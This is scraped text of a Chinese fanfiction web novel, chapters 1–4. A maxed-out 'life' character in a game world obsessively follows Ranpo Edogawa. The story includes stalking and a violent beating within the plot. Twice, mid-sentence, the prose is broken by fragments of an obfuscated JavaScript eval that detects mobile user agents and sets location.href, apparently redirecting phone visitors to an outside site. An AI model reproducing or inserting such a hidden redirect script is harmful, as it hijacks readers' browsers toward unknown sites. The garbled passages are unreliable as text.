《满级调查员,但生活号》 1. 第1章 “如果说,我是说如果哦,这辈子有机会和你推说上话的话,最想说什么呢?” 打工的便利店,一起值班的前辈里,有个活力四射的二十代女生,午休的时候,围坐在休息室里吃便当,她发起了这样的话题。 “不用假设啊,我上礼拜刚中了小琉衣握手会的抽选,不如说已经实现了哈哈哈哈哈哈哈。”回答她的,是这几周刚来这里打工的,附近大学的男学生。 “哎?斋藤太狡猾了吧?不如说推是真人也太方便了吧!”前辈一脸嫉妒,大声抗议着。 “哇,出现了,宅宅宣言,那麻里小姐呢?要说什么?” “能出现在这个世界实在是太感谢了尊贵的我推谢谢你今天脸也这么好今后所有的工资也都会上贡的请幸福地活在这个世界上吧永远爱你?。” “这是啥?太长了根本不算一句话吧哈哈哈?” 他们爽朗地大声谈笑着,在笑声结束的短暂安静过后,目光突然落在了坐在桌子角落边,安静地啃饭团的我的身上。 “纯君呢?”麻里前辈突然好奇地凑上来,“最近也有着迷的人吗?” 突然被搭话,我有些吃惊,局促地把吃完饭团的包装纸在手心里攥成一团,“推吗?算有吧?” “真的假的?”麻里前辈吃惊地嚷起来,“纯君平时都不谈论自己的事情,总觉得很神秘?很稳重?有种不像这个年纪的孩子感觉,是吧?” 她求证般地看向斋藤前辈的方向,得到了对方充满肯定意味的重重点头。 “推是二次元?三次元?不过比起这个,更想知道纯君会想说些什么,糟糕,超好奇的。” 我一时被麻里前辈连珠炮似的问题弄得不知所措,面对桌子对面两人热切的视线,不由得垂下了目光。 “呃……算是,2.5次元?”我的脑海里自然而然地浮现出了那个黑发少年的身影,因为不确定,所以回答有些结结巴巴的。 “好潮的企划!纯君平时太可靠了,怎么说?终于有点其实是高中生的实感了。”麻里前辈惊呼着发表感想。 “是麻里小姐太不可靠了吧?”斋藤前辈在一边锐评。 “抱歉,我会好好反省的。”麻里前辈双手合十举过头顶,做出搞怪的谢罪动作,不过三秒,又很快地抬起头来,一脸期待地等待着我的下一个回答。 “想说的话吗?”我抠着手心,无意识地看着虚空中的某一点,一时间,许许多多的画面如同走马灯一般在脑海中掠过,在我有所思考之前,话语已经脱口而出,“一直以来各种各样的事情,都很抱歉,但是你就原谅我吧,拜托了。” 休息室一时间陷入了一种诡异的沉默,前辈们坐在自己的位置上,面面相觑。 “总觉得,有点沉重?”斋藤前辈率先打破了沉默,他尽量轻松地笑着,仿佛试图缓和被我不过脑子的蠢话弄得尴尬起来的氛围。 “啊,我知道了,是那种粉丝表决会影响剧情走向的企划吧?”麻里前辈也很快反应了过来,为我打圆场,“这种确实,发展不如人意的话会让人很有负罪感呢,不过在和粉丝的情感联结上也别有一番风味。” 我张了张嘴,想要说些什么,但仔细一想,麻里前辈的想法在某种程度上的确是事实,所以最后还是什么也没说,只是默默地点了点头。 “别太在意啦,纯君,”她甚至反过来安慰我,“说实话,会出现一些神展开90%都是主创团队的问题,粉丝花了钱还要背锅也太不讲理了,而且你一个人能做得到什么?不用太愧疚。” 看见我仍然是一脸消沉,她同情地拍了拍我的肩膀,“我们纯君真是被这个企划pua惨了。” 剩下的午休时间在一些常见的闲聊中度过了,麻里前辈一如既往地大聊着她喜欢的漫画角色,斋藤前辈一边听着当红偶像团体的新歌,一边无所谓地附和着她。 我的中饭只是饭团而已,所以吃得最快,顺手去后门那里整理一下垃圾,回来的时候,隔着门板,听见他们在聊我的事。 “纯君还是高中生吧?我上次不小心看见他的日程手帐了,为什么要同时打那么多份工?”这是斋藤前辈的声音。 “我也只是听店长说的哦,好像是在赚大学的学费,不过这个年纪的孩子要为这种事情发愁,肯定有他自己的难处吧。我们也不要多探究了,平时多照顾他一点就是了。”麻里前辈在不刻意搞怪的时候,声音其实也很温柔。 我站在门后,安静地听他们交谈,感觉到一种难以言说的愧疚。 诚然,他们所说的都是事实,我是个孤儿,一边上高中,一边为了赚取大学学费,同时做着十多份兼职。 然而,我的处境并没有大家所想的那么凄惨,不如说,我时常察觉到,我这个人存在的本身就是在利用大家的同情心,因此而有一些轻微的自我厌恶。 别误会,我并不是道德标准过高的圣人,或是有什么心理障碍,我会有这种感觉,不过是因为我知道这样一个事实。 这些都不过是我的人物设定罢了。 我所生活的这个世界,是一个名为《横滨物语》的高自由度类COC沙盘游戏。 而我,不过是这个游戏的玩家所捏造的一个PC。 所谓PC,是Player Character的简称,也就是直接由玩家操控的角色。 不过,和那些在地图上四处触发任务,人生波澜壮阔的核心角色不一样,我是为了专门供给游戏资源而被捏造出来的后勤类角色,也就是大家俗称的生活号。 从出生开始,除了为了拓展技能而不得不参与的主线任务之外,我没有参与过任何重要剧情,日常生活就是在地图上各色各样的点位打工,增长生活技能,赚钱挖矿做装备,也会在玩家需要的时候经营几个组织。 从事实上来说,我并不需要为金钱这种东西发愁,不如说正好相反,作为一个满级生活号,我在物质上背负起了其他好几个游戏角色的人生。 不过,这也是过去的事情了。 即使《横滨物语》是一个以多周目分歧为卖点,剧情丰富,自由度极高的游戏,在玩了三年后,玩家依旧不可避免地对它感觉到了厌倦。 距离玩家上一次上线,已经是六个月之前的事情,那个时候游戏更新了几个新成就,也是在那个时候,祂为我重新安排了日程。 为了解锁“打工皇帝”这个成就,我被安排了一天十份的兼职,在解锁成就的一瞬间,也许是觉得空虚吧,祂毫不犹豫地存档下线了。 而被留在这里的我,没有任何想法,只是像之前一样,日复一日度过这漫无目的人生。 然而,即便是这么无聊的我,在这枯燥的人生中,也有着独属于自己的爱好。 “啊,那孩子又来了。”听见麻里前辈话语的一瞬间,在货架间整理物品的我,就猛地抬起了脑袋。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483301|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从街道的尽头慢慢浮现的,黑发少年的身影,无论是慢吞吞的走路姿势,到处乱翘的黑发,还是制服的轮廓,一切都像看过千百遍一样烂熟于心。 就像麻里前辈之前问我的时候,我回答的那样,我为之着迷的人。 既不是二次元,也不是三次元,明明和我生活在同一个世界,却也是这个游戏的重要NPC。 “世界第一的名侦探”,江户川乱步,也就是我推。 关于他的事情,在一次又一次重启的世界线里,我早就看过无数遍,无论什么都了如指掌。 虽然在这个时间点上,他还只是个处于被警校开除边缘,世人眼中古怪的孩子,但我已经看过很多次,在这个充斥着各式各样异能力的世界里,作为一个普通人,他是如何凭借自己的头脑一次又一次地在世界的舞台上大放异彩。 然而,我也只是看着而已。 作为一个不参与主线的生活号,无论是帮助他还是陷害他,成为朋友,或是成为敌人,这样的选项从来都不曾出现在我的人生中。 我只是作为一个旁观者,满怀爱怜和痴迷地,注视着乱步君的人生。 甚至连交谈都没有过。 我喜欢这个存档,就算需要打十份工,但是这个重复的周五,是警校放假的日子。 在这个时期为生活困扰,却又很喜欢甜食的乱步君,周五傍晚总是会到这家便利店来,领取便利店按例处理临期食品。 我躲在货架后,用余光观察着乱步君在我整理临期食品筐前站定,拿起我刻意放在最上面的红豆面包,满脸幸福地拆开包装袋,大口咀嚼的模样。 萌萌。 在我看来,这画面值得做成价值二十万日元的海景谷,装进防尘盒放在书架最顶端供人瞻仰。 在我过于热切的视线要引起他注意之前,我起身,准备去仓库避一避,在转头的一瞬间,却差点撞上不知何时出现在我身后,一脸揶揄的斋藤前辈。 前辈拍了拍我的肩,“辛苦了,不去和他说说话吗?” 我因为这意料之外的发言而感到惊慌失措,前辈却一副心知肚明的表情。 “你很照顾那个孩子,对吧?”他说,因为我过于明显的神色而失笑,“我看到了,上个礼拜,没有临期的红豆面包了,你不是特意自己买了放在那里了吗?他是你的朋友吗?” “没有这回事,”我一边为自己轻率的举动感到懊悔,一边立刻回答,“他不认识我,只是我想那么做,没必要特意让他知道,给他增加不必要的负担。” 我看着斋藤前辈变得震惊起来的神色,大概能猜到他的想法。 他大概觉得我是个善良的人吧,因为同病相怜,对素不相识的孩子起了恻隐之心之类的,但其实完全不是这样。 这不过是一种粉丝式的自嗨罢了,即使实际上有这个能力,作为游戏角色,我也无法为乱步君提供任何帮助,只能在游戏规则允许的范围内,为他提供这种连说出来都觉得羞耻的微末便利。 这样的话还叫什么粉丝啊? 怀抱着这样充满了自我厌恶的想法,说了一句“失礼了”之后,我搬起地上的货物筐,匆匆消失在仓库门后。 那个时候的我,尚且没有察觉到,隔着被擦得锃亮的玻璃墙,乱步君那仿佛能够洞察一切的锐利目光。 以及这之后将要发生的,将我的整个人生都彻底颠覆的种种事件。 2. 第 2 章 “便当需要加热吗?” “不,不用了。” “好的,收您1500元,找您900元,谢谢惠顾。” 目送穿皱皱巴巴西装的社畜摇摇晃晃地走出店门,我疲惫地叹了口气,将僵硬的身体靠在背后的墙上,困顿地闭上眼睛。 便利店的电视里,絮絮叨叨地播放着晚间新闻,最近的横滨不太平,又是地铁炸弹犯,又是人口失踪案的,不过话说回来,横滨什么时候太平过呢? 类似的调查支线,游戏每周都会刷新七八个,就算这个完成了,也会有下一个,玩家就像推石头的西西弗斯一样,永远在这座罪恶之都做着看不到尽头的努力。 然而,即使拼尽全力,城市也不会变化分毫。 我能理解祂为什么会放弃这个游戏,这是个令人悲观的世界,世界是不会改变的,但是人却终有一天会沮丧。 不过,这些都不是我这个生活号需要担心的事情。 “便利店兼职三小时13体力,抚子两小时21体力,Kinema两小时16体力,”我喃喃自语,脑子飞快运转着,瞥了眼脑袋上方几乎见底的体力条,整理着接下来的日程,“得吃点东西,好想睡觉……” “今天也是饭团啊。” 《横滨物语》并不是星〇谷那种能够通过吃东西来无限制补充体力的游戏,角色一天能够吃多少东西,是由饱食度决定的。 由于“打工皇帝”这个成就的达成条件十分极限,在重复这种日程的日子里,我的体力条每天都岌岌可危。 为了不过度增加饱食度,又能及时补充体力,玩家拉了个excel计算各种食品的体力值性价比,在祂得出最优解后,我就过上了每天吃饭团度日的生活。 为了增加打工时长,玩家更是特意开了新档,坐在屏幕前怒刷两小时,硬生生推到了游戏时间的春假第一天。 虽然说着春假这种话,但是我也知道,开学的日子大概永远也不会到来了,我的人生大概一直要过这种奄奄一息的,看不到头的春天。 但这也不能责怪任何人,没有人会因为恨玩一个游戏三年,作为祂的pc,我比任何人都更清楚玩家对这个游戏复杂的感情。 只能说,我和祂,我们两个都付出了很多努力。 “哟,时田。” 便利店大门独有的电子旋律响起,打断了我飘忽的思绪,我条件反射性地睁开眼睛,挂上营业笑容,几乎要脱口而出的“欢迎光临”在看清来人之后被生硬地咽了下去,神色也随之冷淡了下来。 然而来人却选择性地无视了这种不满,自顾自地爽朗道,“哈哈哈哈哈,抱歉啊抱歉,约会太开心了,结果有点迟到了,不过,你不介意的吧?” 我尝试着挑动嘴角,但显然失败了,于是只是瘫着一张脸说,“接下来还安排了别的打工,请快点换好衣服接班吧,店长。” 如果不考虑体力值性价比方面的要素,便利店的兼职毫无疑问是我最喜欢的打工。 除了能够见到我推这个最大的理由之外,就是我喜欢这里工作的同事,无论是麻里前辈还是斋藤前辈,他们都非常好相处,为了不让我有负担,就连照顾这种事情,也做得不动声色。 是我喜欢的那种轻松的职场氛围。 只有一个人不好。 我看着眼前一脸轻松的店长,暗想。 不过话说回来,打工本来就是这样的事。 偶尔开心,恒久痛苦。 “嗯?你这家伙一天要打几份工啊?现在的年轻人还真是努力啊。”显然没有听出,或者说,刻意装作听不懂话语中暗含的指责,店长满不在乎地向店后的休息室走去,“说起来,之前小麻里和我说了来着。” 因为麻里前辈是便利店里唯一的女性,长相又很可爱的缘故,店长总是称呼她为“小麻里”,刻意营造出一种基于性别的优待氛围。 说实话,对这件事,麻里前辈不止一次表示过困扰,然而,眼前的男人就像听不懂话一般,依旧我行我素。 “说是晚上在港口那边看见你了,和那群黑衣服的家伙在一起。”我心头一跳,不由自主地握紧了拳头,店长依然在自顾自地说话,“不过我想,应该是看错了吧。” 店长笑眯眯地回过头,“毕竟时田不是好学生来着吗?” 其实这件事,麻里前辈也有直接询问过我,不过,我能感觉得到,她只是在担心我的安全,还和我说,生活上实在有困难的话,可以告诉她。 同样的话,从店长嘴里说出来,不知为何就变了味道。 我长长地吸了一口气,缓缓松开握紧的拳头,不动声色,“是的,麻里前辈应当是认错人了。” “我就说嘛。”店长换完了衣服,打着哈哈从更衣室里出来,“给,这是你今天的工资。” “承蒙关照。” 看到眼前薄薄的信封,我点头致意后,试图伸手接过,然而,信封的另一端就像黏在了店长的手上一样,纹丝不动。 我不解地抬起头,店长笑眯眯地看着我。 “不过,时田是不会把麻烦事带到店里来的,对吧?” 他的眼睛里没有笑意。 “放心吧,不会发生这种事情的。” 我的话说得无比笃定,倒不是因为我活得有多么坦荡,而是因为我知道,即使是《横滨物语》这样以自由度著称的游戏,也不会把突发事件,分配给像便利店打工这样无足轻重的小事。 而不知道这一点的店长,只是神色稍霁,放开了手。 “这样就对了嘛,辛苦了。”他拍了拍我的肩,虚假地笑着,“毕竟要是发生了什么,我会很困扰的。” “辛苦了,那我先走了。”我点点头,向更衣室的方向走去。 夜晚的横滨比平时更加璀璨,也更加危险。 彩色灯光照耀不到的角落,黑暗,暴力,犯罪粘稠地翻滚着,似乎要将这座城市吞噬殆尽。 我拖着沉重的步伐,小心地避开那些潜伏在黑暗中的危险,我那小小的寓所。 “我回来了。”无人应答的问候在黑暗的房间里空荡荡地回响,我在玄关甩掉鞋子,连衣服都没来得及换,沉沉地把自己摔在早上没来得及收拾的薄薄被褥上。 呼吸到的空气里有不明显的霉味,最近一直下雨,在打工间隙里洗出来的衣服好像怎么也晒不干,我疲惫地睁着眼睛,黑暗中,物体的轮廓渐渐变得清晰。 这是一间七叠大小的老旧房间,泾渭分明地一分为二。 左侧是工作区,由三张大桌子拼成“匚”字形的工作台,正中间靠墙的那一面挂着数十个显示器,跑动着各种各样的代码框,设计文档,SolidWorks设计图纸,CAD设计图纸,BOM,藏在台面下的主机发出安静的嗡鸣声。 而两边的桌子上则摆放着直通天花板的大架子,在旁人眼中大概十分杂乱,但确实按照只有我本人才能够理解的规律堆放着各种各样网购来的集成电路、定制芯片、显像管和电子元件。 按照玩家的说法,我继承了已经去世的父亲的才能,【能工巧匠】方面的初始值,天然就高得吓人,但这些大概也只是背景人设吧?不过,对于随心所欲地创造东西这件事,我的确比较感兴趣。 不过,这勉强能称为爱好的事情,最近也完全停滞了。 没有时间啊。 和堆得满满当当的工作区相比,生活区这边,则简约得可怕,只有最低限度的家具。 床,吃饭用的矮桌,衣柜,除此之外就没有其他东西了。 啊,不过一定要介绍的话,那一定是那个吧。 床对面的墙上,在我抬头就能看到的高度,粘贴着相片。 密密麻麻,因为数量太多,只能一张叠着一张。 那是乱步君的照片。 偷窥视角拍摄的相片,没有一张是看着镜头的,明明生活在同一个世界,却只能这样隔着什么看他,和我的人生很相称的照片。 理智告诉我,下一场打工已经快迟到了,现在的我应该立刻从被子上爬起来,勉强吃个饭团,然后立刻换好衣服,打个车或许还来得及。 然而事实是,我一点也动不了。 头顶的体力条明明还剩一线,全身的力气却像被抽干了,即使看着乱步君的照片,出现的也全是一些平时不会有的悲惨想法。 我对自己的状况感到困惑,然而,即使思考,也想不出理由。 不如说,思考也突然变得迟缓,不,或许早就变得迟缓了,只是我之前没有工夫关注自己,所以没有意识到。 毫无理由地,我觉得恶心,悲伤和迷茫。 听说春天是精神疾病高发的季节,难道因为这种原因,我也变得不正常了吗? 在种种蛮横而杂乱的情绪中,我终究没有抵抗,任性地闭上了眼睛。 黑暗也变得可爱,舒适紧接着跟上来。 五分钟,我对自己说,就睡五分钟。 然后愚蠢地放任自己沉没进这难得的舒适中。 我是被手机铃声吵醒的。 睁开眼睛的时候,还不明白发生了什么事情,自己又为什么会躺在这里。 急匆匆地在凌乱的被褥上寻找着叫个不停的手机,接通的一瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483302|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是成年男性怒气勃发的声音,“喂,你现在在哪里?” “请问你是?”我大概是真的睡懵了,才会问出这种蠢问题。 电话对面显然也被我的发言气笑了,“我是谁?你现在是怎么样?拿过几次1位,就觉得自己了不起了是吗?” 按照常理,我现在应该做的,其实是道歉,然而鬼使神差的,我却说出了这种台词。 “我,从来没觉得自己了不起过。” 我在说什么? 这不是我内置程序里该有的台词。 在话说出口的一瞬间,我感觉到一种难以言喻的战栗感,就像是这个世界上的所有东西突然都长出了眼睛,不可置信地盯着我那样。 “你说什么?”然而,电话那边的男人显然更加不可置信。 我后知后觉地认出了他的声音,那是我下一轮打工店的经理。 那一瞬间,因为舒适的睡眠而被抛诸脑后的现实突然追了上来,我惊慌地把手机从耳边移开,查看时间。 屏幕显示23:03分,我已经迟到了一个多小时。 我从被褥上跳起来,站在房间里,感到天旋地转。 电话里,经理的声音依然在叫骂,我木然地把听筒放回耳边,只赶上一点尾音,“……半个小时内出现在这里,否则以后就都不用来了,听懂了吗!” “嘟”的一声,电话被挂断,我匆匆从房间这头跑到那头,把用得上的东西都一把扫进背包里,抓起昨晚准备好的西服穿上。 落地镜里的人脸色难看得像鬼一样,因为过于着急的动作,提前熨好的衣服也皱巴巴地堆在身上。 实在很难想象,这副模样要怎么去接待客人。 我匆匆跑到楼下,今晚的街道,不知为何一辆空车都拦不到,我狂奔向电车站的方向,感觉自己浑身是汗,闻起来一定很糟糕。 奔跑的脚步突然慢了下来。 我到底为什么要这样? 这个从来没有思考过的问题,突然出现在了脑子里。 就算现在跑到店里,恳求经理把我留下来,为了证明自己的态度,也必须补上之前的工时,这样做的话,势必会错过下一项兼职。 像上了发条的钟表一样精巧,只有机器人才能执行的严苛日程,毫无容错率可言,只要有一个齿轮崩坏,整座钟楼就都会轰然倒塌。 然后,我突然意识到。 原来是这么一回事。 从我躺在床上,决定闭上眼睛的那一瞬间。 我的任务就已经失败了。 住在廉价的出租屋里,日复一日地忍受疲劳和饥饿,作为廉价劳动力,一天到晚看人眼色,那些毫无意义的日子,即使听起来很傻,也曾是我作为一个游戏角色,唯一的人生目标。 现在,这些都已经被我亲手毁掉了。 那么,我又应该做些什么? 我茫然地看着街上来来往往,形形色色的路人,每个人都在向前走,都有着自己的目的地。 和我不一样,他们不知道自己只是某个游戏里设定出来的角色,所以无比认真地过着自己的生活,为了自己的容身之所而努力。 我至今为止是为了什么而努力? 我在这个世界上根本没有任何容身之所。 至今为止做的事情,没有一件是为了自己。 不,不对。 我猛地抬起头。 不是有的吗? 只是为了自己而做的事情。 因为喜欢,所以即使程序没有那样设定,还是去做了的事情。 “乱步君……”那个名字自然而然地脱口而出,顺畅到自己都觉得惊讶。 “我要去见乱步君。” 伴随着这句话脱口而出的瞬间,在只有我能看见的任务界面上,原本的行程统统都消失了。 在短暂的空白过后,如同石油般粘稠的黑色液体般喷涌而出。 仔细看的话,就会发现,那根本不是什么液体,而是一行一行,重复的,不断流动的,黑色的小字。 【去见乱步君】 疯狂生长的字句满溢出任务框的边界,如同一只张牙舞爪的巨兽,甚至反过来将任务框吞入口中。 狂暴地吞噬一切,反转成纯黑色的系统UI,野兽般对着这个世界虎视眈眈,贪婪地磨着利齿,呲出一个饥饿的笑容。 感到不满足。 想要吃更多。 这种心情,我从来没有体会过,然而却让我心潮澎湃,激动不已。 因为,对我来说,这一定不是什么任务。 而是我人生的意义。 3. 第 3 章 《横滨物语》这个游戏的地图,其实相当大。 听说制作组以一比一复刻现实中的城市为卖点,做了相当详细的设定。 然而,对于在这个游戏中已经重复生活了三十周目左右的我来说,一切都已经烂熟于心。 去往乱步君现在所寄宿的警校,要搭乘哪辆电车,在哪里换乘,下车之后该走哪条路,沿街会看见什么样的景色,这些,我已经在心中模拟了成百上千次。 坐在电车的座椅上,视线一错不错地盯着屏幕上变换的站台,连我自己都觉得奇怪。 怎么会这么容易? 不如说,世界上的其他人,大家一直以来过得都是这么容易的生活吗? 真狡猾。 电车到站的提示音响起的那一刻,我几乎是立刻从座椅上弹了起来,脚步是从来没想过的轻快,在经过站台前的商店时,我犹豫了一下,拿出早些时候刚收到的打工费,买了一些零食作为见面礼。 警校所在的这个街区属于住宅区,入夜后,街道就显得分外安静,港口城市的海风将树叶吹得沙沙作响,除此之外,空旷的道路上回响着的,只有我的脚步声。 因为紧张,脑子里充斥着各种各样的想法。 待会儿见到乱步君要说些什么呢?果然还是道歉吧,前几天在便利店作为闲谈给出的回答,今天居然就要成真了,这么一想,实在是有些不可思议。 这样轻松的心情,在看到警校紧闭的大门之后,后知后觉地消失。 啊,确实,对于普通人来说,这个点早就是休息时间。 不如说,对于习惯于听从玩家安排,仅仅依照要求去完成任务的我来说,昼夜早就失去了意义。 玩家有时候去屏幕外的世界做事,却又忘记暂停游戏,于是我就那么一动不动在同一个地方待机一天多,这也是常有的事情。 我明白的,对于这个世界来说,异常的是我。 现在,我拎着便利店的塑料袋,有些怅然地站在警校门口,思量着要不要和以前一样,就这么在这里站上一个晚上,等到明早就可以作为访客,正大光明地进去了。 不过,对于现在的我来说,等待这件事果然还是有点困难。 想见到乱步君的心情强烈到让我自己都觉得吃惊,比如现在,我已经抬起脑袋,观察起了这面阻挡我的围墙。 警校的围墙对我来说,并不是什么高大到无法逾越的障碍,小心避开监视器的镜头,翻墙进去的话,好像也不是什么难事。 顺便也能趁机圣地巡礼一下,对我来说,警校时期的乱步君就像稀有形态一样,短暂而珍贵,所以,理所当然的,与之相关的一切事物,自然也会变得珍贵起来。 我盘算着要去教室和训练场拍照,这样回家就能复刻相关的场景,把穿警校制服的乱步君ob11放进去,光是想象一下,就几乎要轻哼起来。 等拍完想要的素材,我就去乱步君的宿舍找他,他的房间号,我早就调查清楚了,也抱着周边心态复刻了房间钥匙,做出来之后就一直当成护身符放在钱包里面,没想到真的有能派上用场的一天。 这样明早他一睁眼,我就能和他说上话。 我觉得自己的安排完美而天衣无缝,或许在和玩家相处的过程中,也学到了一点祂天才般的线程规划能力吧。 这样想着,我的脚步已经自然而然地绕向了警校后门的方向。 然而,也是在这个时候,我听到了一些不同寻常的动静。 像是有人刻意压低了声音说话,断断续续的字句被风吹到我的耳朵里。 “我也不知道……教主……神……江户川……” 一开始只是当作游戏的背景音,以为又是最近很流行的新兴宗教在传教之类的,毕竟,用路人的闲聊作为支线剧情的铺垫和导入,是相当常用的手法。 然而,捕捉到那个人名的音节的瞬间,我停下了脚步。 微微侧过脑袋,判断了一下声音的方位,我稍微后退两步,助跑,在围墙上略微轻蹬一下借力,用手掌撑过墙头,以此为轴心将身体越过障碍,翻滚卸力,平稳落地。 循着谈话声,我走向宿舍楼旁的一间老旧的仓库,生锈的铁门被推开时,发出声音在寂静的夜晚格外刺耳,谈话被打断的两人正略显惊诧地看着我。 显然,我撞破了一场秘密谈话。 站在仓库的入口处,借着疏朗的月光,我稍微打量了一下他们,这场谈话中的其中一人穿一身故弄玄虚的白色长袍,柔顺垂坠的白袍掩映下,依稀可见警校制服的一角。 另一个人,不必多说,自然是我心心念念的乱步君。 此时他正站在仓库的货架间,嘴边沾着一点碎屑,身边胡乱地扔了一些零食的包装袋和纸片,完全是半夜出来偷吃被抓包的形象。 萌萌。 我一时间难以掩饰自己激动的心情,向着乱步君的方向跑过去,然而没跑几步,就听见乱步君指着我,有些惊讶地说,“啊,跟踪狂。” 我的脚步猛然刹住,僵在那里,茫然地用手指着自己。 跟踪狂?谁?我吗? 我……我觉得很委屈。 如果真的可以的话,说实话我也想每天跟在乱步君后面,然而事实是,一直到一个小时之前,我都根本没有这种机会。 安排人去监视他的生活,事无巨细地汇报给我,看看偷拍照,偶尔做做同款自制周边,已经是我最大程度的努力了。 “谁?江户川的熟人?”那个穿白袍的警校学生狐疑地打量着我,迈开腿向我的方向走过来。 “看就知道了吧,是我的跟踪狂。”乱步君一脸你在说什么蠢话的表情,又重复了一遍那个让我心梗的词。 “不、不是的。”我下意识地反驳,“我是乱步君的粉丝。” “嗯?”白袍学生不置可否,在距离我一步之遥的距离停下。 下一秒,白袍下电光闪烁,一直分心观察着他举动,此刻我立刻转身后撤,躲开他猛地向我冲过来的身形,同时左脚上踢,精准地击中他的手腕,将他手中的□□踢飞出去。 做完这一切,我连忙跑过去把乱步君护在身后,怒视捂着手腕,痛苦地半跪在地上的白袍人。 “你在做什么!”我严厉地指责他,“在乱步君的面前使用这么危险的东西,万一伤到他或者吓到他了,该怎么办?” 白袍人一脸茫然地看着我,又看了看不知何时已经自觉地打开我手上的塑料袋,翻找着里面零食的乱步君,从喉咙里压出了一句,“哈?” 我担心地回头看了一眼乱步君,把套在手腕上的塑料袋取下来交给他,用尽量柔和地声音问他,“只吃零食的话,会不会噎到?我还买了波子汽水。” “太周到了,反而有点恶心。”乱步君咀嚼着美味棒,毫不留情地评价道。 被、被骂了。 我捂住胸口,尽量控制着嘴角的弧度不要太过于明显,装出凶恶的样子,转过身,继续厉声逼问眼前这个可疑的白袍人。 “你是谁?接近乱步君有什么目的?为什么要袭击他?” 白袍人不知为何,露出了有点荒唐的神色,“谁袭击他了?我袭击的是你好吗?” 我义正言辞,“我是乱步君的保护者,袭击我就等同于袭击他,不如说,从你擅自在乱步君面前拿出那种高危武器那一刻开始,就已经罪该万死了。” 我知道,我的表现有点太应激了,但这也是没有办法的事情。 虽然现在厚脸皮地以乱步君的保护者自居,但这也仅限游戏前期了。 由于等级保护机制的存在,游戏前期并不会出现太超模的敌人,所以我才能像现在这样,靠满级号的数值优势,在这里装模做样。 事实上,在这个充斥着各色异能力、神话生物甚至邪神的世界里,我作为一个没有点过任何战斗技能的生活号,在武力值上根本拿不出手。 这样的我,要说优势的话,大概 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“‘乱步君乱步君’的,叫得那么亲切,还以为你们有多熟呢,结果江户川那家伙在学校里被霸凌的时候,你不是根本没出现吗?” 他为自己的洞察力沾沾自喜,继续一无所知地在我的雷区上蹦迪,“事到如今跳出来横插一脚,不过是看我们圣天锡杖有所行动了,想惺惺作态地博得他的好感吧?教主大人说得果然没错。” 他不再理会我,转而朝乱步君搭话,“喂,江户川,你小子身上到底藏着什么秘密?值得这么多人为你大动干戈的,难道是你那个关系户爹……” 他的话没能说完,因为我早已大步向前,一把揪住他的衣领,把他整个人半提起来,拳头狠狠地塞进了他的嘴里。 他一下子说不出话来,只能瞪大眼睛,惊恐地看着我。 我居高临下,垂着眼睛看他。 顾及着乱步君还在这里,我弯下腰,尽量压低声音,心平气和地在他的耳边说,“你要是再多说一个字,我就把你的牙齿一颗一颗敲下来,听懂了吗?” 我盯着他看了一会儿,因为不能说话的缘故,他没法给我答复,我没有机灵到会看眼色的程度,也没有心情对这种连名字都没有显示在对话框上方的NPC的察言观色,于是说,“听懂了就点头。” 这小子立刻点头如捣蒜,好经典的炮灰形象啊。 这样想着,我松开了手,仍由他像一滩烂泥一样倒在地上,大概是觉得安全了吧,他松了一口气,下一秒,我的拳头就狠狠地重击上了他的鼻子。 他连叫都叫不出来,猛地向后倒去,昏倒得很彻底。 我在他的白袍上蹭了蹭弄脏的手,留下一点暗红色的血迹,才转身回到乱步君的身边。 大概是等得有点无聊,他已经毫无顾忌地盘腿坐在地上,像小仓鼠一样啃着袋子里的零食。 看见我走过来,他没头没脑地说了一句,“手。” 我不明所以,但还是乖乖地伸出两只手,他把喝空了的波子汽水瓶放进我向上摊开的掌心里,理所当然地说,“我要里面的玻璃珠。” 我学着他的样子席地而坐,从游戏背包里取出工具箱,小心地用锤子把瓶子砸开。 他单手托腮,满脸无聊地看着我那有些过于谨慎的动作。 我怕他等急了,很快取出了玻璃珠,交给他的时候,因为这做梦一样幸福的场景,不由自主地笑了出来。 他看了我一眼,又闭上一只眼,透过浅蓝色的玻璃珠四处看了看,突然说,“好吧,我承认了。” “什么?”我一时没有跟上他的思路。 “不是想当我的粉丝吗?”他奇怪地看了我一眼,“我承认了。” 我被这从天而降的惊喜砸晕了,感觉脸颊烫得吓人,泪眼汪汪地看着他,感动得几乎说不出话来,“天哪,乱步大人……” 只是,不知为何,他露出了一脸恶寒的神色。 是天气太冷了吗? 4. 第 4 章 “话说回来,那家伙是怎么回事?”我指了指身后昏迷不醒的白袍人,有些紧张,“他没对乱步君做什么奇怪的事情吧?” 乱步君不甚在意地瞥了地上的人影一眼,“他啊,倒是没做什么,一开始还以为要告发我偷吃仓库里的零食呢,结果最后只是向我传播奇怪的新兴宗教而已。” 我想起白袍人刚才口中所说的“圣天锡杖”一词,心中的不安猛烈增长。 我对这个组织多少有点印象,虽然假借宗教的名义,但实际等同于暴力组织,依靠着异能力制造的神迹,在普通人中大肆敛财。 按照主线剧情的参与度来说,一直到龙头战争,争夺五千亿遗产的时候,他们才会有第一次有大规模的行动。 要我来评价的话,在大部分游戏周目里,它其实都不是什么特别入流的组织。 但是,唯独有一周目是例外。 我不安地看了一眼身侧的乱步君。 在那一周目游戏中,由于玩家的种种前置操作引起了蝴蝶效应,导致圣天锡杖的教主换代,而新任教主,确实和乱步君有着微妙的联系。 从游戏的角度来说,只要集齐要素,就没有意外,一切都是必然。 